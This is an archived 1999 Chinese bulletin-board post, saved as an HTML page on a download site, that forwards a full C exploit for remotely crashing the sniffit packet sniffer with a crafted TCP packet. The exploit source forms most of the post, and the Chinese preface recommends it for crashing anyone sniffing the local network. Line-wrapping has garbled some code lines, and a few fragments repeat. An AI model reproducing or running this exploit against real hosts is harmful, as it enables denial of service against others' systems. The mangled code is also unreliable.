⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 429.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="317.htm">上一层</a>][<a href="430.htm">下一篇</a>]
<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>

标  题: crash sniffit <br>

发信站: 武汉白云黄鹤站 (Sun May 16 15:35:41 1999), 站内信件 <br>

  sniffit功能很强大,一个局域网的是不是很害怕别人发现你做了什么呢? <br>

好了,现在有办法啦,不过只能针对3.5版本的哦~~ 太可惜了!但是有了这个 <br>

万一有人在偷听,嘿嘿,就有办法啦! <br>

  试试吧. <br>

[ http://www.rootshell.com/ ] <br>

From anihilato@famipow.com Wed Feb 17 16:17:12 1999 <br>

Date: Thu, 18 Feb 1999 01:16:31 +0100 <br>

From: "K`\\meleon" <anihilato@famipow.com> <br>

To: submission@rootshell.com <br>

Subject: Sniffit buffer overflow <br>

Hi, <br>

I discovered the last version of sniffit does segfault when receiving a <br>

packet whith a data offset > 5, <br>

which means any sniffit can be crashed remotely. <br>

Exploit code follows. <br>

-- <br>

K `\ m e l e o n <br>

email : anihilato@famipow.com <br>

  irc : irc.famipow.com (6667) #europe <br>

    [ Part 2: "Attached Text" ] <br>



/* Sniffit 0.3.7 (and below) crasher <br>

 * <br>

 * There is a buffer overflow condition in sniffit when receiving <br>

 * a packet with a data offset > 5, thus allowing remote denial of service. <br>

 * <br>

 * Code follows. <br>

 * To compile, kiddies : cc -o scrash scrash.c <br>

 * <br>

 *            K`\meleon (anihilato@famipow.com or irc.famipow.com #europe) <br>

 */ <br>

#include <stdio.h> <br>

#include <netdb.h> <br>

#include <errno.h> <br>

#include <netinet/in.h> <br>

#include <sys/socket.h> <br>

#include <sys/types.h> <br>

#include <linux/socket.h> <br>

#include <linux/ip.h> <br>

#include <linux/tcp.h> <br>

#define TCPHDR   sizeof(struct tcphdr) <br>

#define IPHDR    sizeof(struct iphdr) <br>

#define PACKETSIZE  TCPHDR + IPHDR <br>



unsigned short in_cksum(unsigned short *ptr,int nbytes){  // this function i <br>

s ri <br>

p'd :) <br>

    register long           sum;            // assumes long == 32 bits <br>

    u_short                 oddbyte; <br>

    register u_short        answer;         // assumes u_short == 16 bits <br>

        sum = 0; <br>

        while (nbytes > 1)  { <br>

                sum += *ptr++; <br>

                nbytes -= 2; <br>

        } <br>

        if (nbytes == 1) { <br>

                oddbyte = 0;                             // make sure top ha <br>

lf i <br>

s zero <br>

                *((u_char *) &oddbyte) = *(u_char *)ptr; // one byte only <br>

                sum += oddbyte; <br>

        } <br>

        sum  = (sum >> 16) + (sum & 0xffff);    // add high-16 to low-16 <br>

        sum += (sum >> 16);                     // add carry <br>

        answer = ~sum;                          // ones-complement, then tru <br>

ncat <br>

ncat <br>

e to 16 bits <br>

        return(answer); <br>

} <br>

void resolve_address(struct sockaddr * addr, char *hostname, u_short port) <br>

{ <br>

   struct  sockaddr_in *address; <br>

   struct  hostent     *host; <br>

        address = (struct sockaddr_in *)addr; <br>

        (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); <br>

        address->sin_family = AF_INET; <br>

        address->sin_port = htons(port); <br>

        address->sin_addr.s_addr = inet_addr(hostname); <br>

        if ((int)address->sin_addr.s_addr == -1) { <br>

                host = gethostbyname(hostname); <br>

                if (host) { <br>

                        bcopy( host->h_addr, (char *)&address->sin_addr,host <br>

->h_ <br>

length); <br>

                        } <br>

                else { <br>

                     fprintf(stderr, "Cannot resolve %s, reverting to defaul <br>

t 1. <br>

t 1. <br>

2.3.4\n", hostname); <br>

                     address->sin_addr.s_addr = inet_addr("1.2.3.4"); <br>

                } <br>

        } <br>

} <br>

void sendcrash (char *argv[], struct hostent *host) <br>

{ <br>

int sockfd, n; <br>

static struct sockaddr_in local_sin; <br>

static struct sockaddr_in remote_sin; <br>

struct tpack{ <br>

        struct iphdr ip; <br>

        struct tcphdr tcp; <br>

}tpack; <br>

struct pseudo_header{ <br>

        unsigned source_address; <br>

        unsigned dest_address; <br>

        unsigned char placeholder; <br>

        unsigned char protocol; <br>

        unsigned short tcp_length; <br>

        struct tcphdr tcp; <br>

}pheader; <br>

}pheader; <br>

resolve_address((struct sockaddr *)&local_sin, argv[1], 31337); <br>

resolve_address((struct sockaddr *)&remote_sin, argv[2], 31337); <br>

tpack.tcp.source=htons(31337); <br>

tpack.tcp.dest=htons(31337); <br>

tpack.tcp.seq=ntohl(269167349); <br>

tpack.tcp.doff=6;  // This is it <br>

tpack.tcp.res1=0; <br>

tpack.tcp.res2=0; <br>

tpack.tcp.urg=0; <br>

tpack.tcp.ack=0; <br>

tpack.tcp.psh=0; <br>

tpack.tcp.rst=0; <br>

tpack.tcp.syn=1; <br>

tpack.tcp.fin=0; <br>

tpack.tcp.window=0; <br>

tpack.tcp.check=0; <br>

tpack.tcp.urg_ptr=0; <br>

        //  IP header <br>

tpack.ip.version=4; <br>

tpack.ip.ihl=5; <br>

tpack.ip.tos=0; <br>

tpack.ip.tot_len=htons(IPHDR+TCPHDR); <br>



tpack.ip.id=htons(2); <br>

tpack.ip.frag_off=0; <br>

tpack.ip.ttl=64; <br>

tpack.ip.protocol=IPPROTO_TCP; <br>

tpack.ip.check=0; <br>

tpack.ip.saddr=local_sin.sin_addr.s_addr; <br>

tpack.ip.daddr=remote_sin.sin_addr.s_addr; <br>

        // IP header checksum <br>

tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR); <br>

        // TCP header checksum <br>

pheader.source_address=(unsigned)tpack.ip.saddr; <br>

pheader.dest_address=(unsigned)tpack.ip.daddr; <br>

pheader.placeholder=0; <br>

pheader.protocol=IPPROTO_TCP; <br>

pheader.tcp_length=htons(TCPHDR); <br>

bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); <br>

tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12); <br>

if ( (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { <br>

   perror("socket"); <br>

   exit(1); <br>

} <br>

printf("Discovered and coded by K`\\meleon\n"); <br>



printf("Sending crash...\n"); <br>

n = sendto(sockfd, &tpack, PACKETSIZE, 0, (struct sockaddr *)&remote_sin, si <br>

zeof <br>

(remote_sin)); <br>

if (n != PACKETSIZE) { <br>

        perror("Damn, crash packet was not sent properly"); <br>

        close(sockfd); <br>

        exit(1); <br>

} <br>

printf("CraSh SenT #$!\n"); <br>

close(sockfd); <br>

} <br>

main(int argc, char *argv[]) <br>

{ <br>

int i; <br>

struct hostent *host; <br>

if ( (getuid() != 0) && (geteuid() != 0) ) { <br>

   printf("Sniffit CraSheR\n"); <br>

   printf("Discovered and coded by K`\\meleon\n"); <br>

   printf("You need to be r00t to run this prog...\n"); <br>

   exit(1); <br>

} <br>



if (argc != 3 ) { <br>

   printf("Sniffit CraSheR\n"); <br>

   printf("Discovered and coded by K`\\meleon\n"); <br>

   printf("Usage : %s <from host> <victim host>\n", argv[0]); <br>

   exit(1); <br>

} <br>

if ( (host = gethostbyname(argv[2])) == 0) { <br>

   herror("Hostname"); <br>

   exit(1); <br>

} <br>

sendcrash(argv, host); <br>

} <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="317.htm">上一层</a>][<a href="430.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -